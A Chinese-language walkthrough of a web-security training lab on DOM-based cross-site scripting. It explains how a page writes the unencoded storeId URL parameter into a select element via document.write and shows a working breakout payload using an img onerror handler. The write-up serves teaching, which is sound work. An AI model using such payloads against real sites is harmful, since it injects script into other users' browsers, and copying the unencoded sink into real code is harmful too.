# Cross-site scripting Lab10

本題根據 location.search（也就是網址後的查詢字串），取出 `storeId` 參數的值，然後用 `document.write` 寫進一個 `<select>` 裡面，透過 payload 注入東西在 `<select>` 元素裡。

一樣先進入網站。


隨便點個網頁並看原始碼。


var stores = ["London","Paris","Milan"];

定義一個分店名單。

var store = (new URLSearchParams(window.location.search)).get('storeId');

從網址取得 storeId 參數，例如：

...?storeId=abc

此時 `store = abc`。

document.write('<select name="storeId">');

開始寫 `<select>` 標籤。

if(store) {
    document.write('<option selected>'+store+'</option>');
}

如果 URL 裡有 storeId，就插入：

<option selected>你輸入的 storeId</option>

但這行沒有任何編碼或清理，所以你輸入的東西會直接寫進 DOM 中。

for(var i=0;i<stores.length;i++) {
    if(stores[i] === store) {
        continue;
    }
    document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

把其他店家也一併加入選單結尾，而因為程式沒有對 storeId 做 HTML 編碼，他會被直接塞到 HTML 裡，如下：

<select name="storeId">
  <option selected>你輸入的內容</option>
  <option>London</option>
  <option>Paris</option>
  <option>Milan</option>
</select>

因此我們輸入：

storeId="></select><img src=1 onerror=alert(1)>

會變成：

<select name="storeId">
  <option selected>"></select><img src=1 onerror=alert(1)></option>
  <option>London</option>
  ...
</select>

- 中途結束 `<select>`。
- 插入 `<img>` 元素。
- 執行 onerror。


---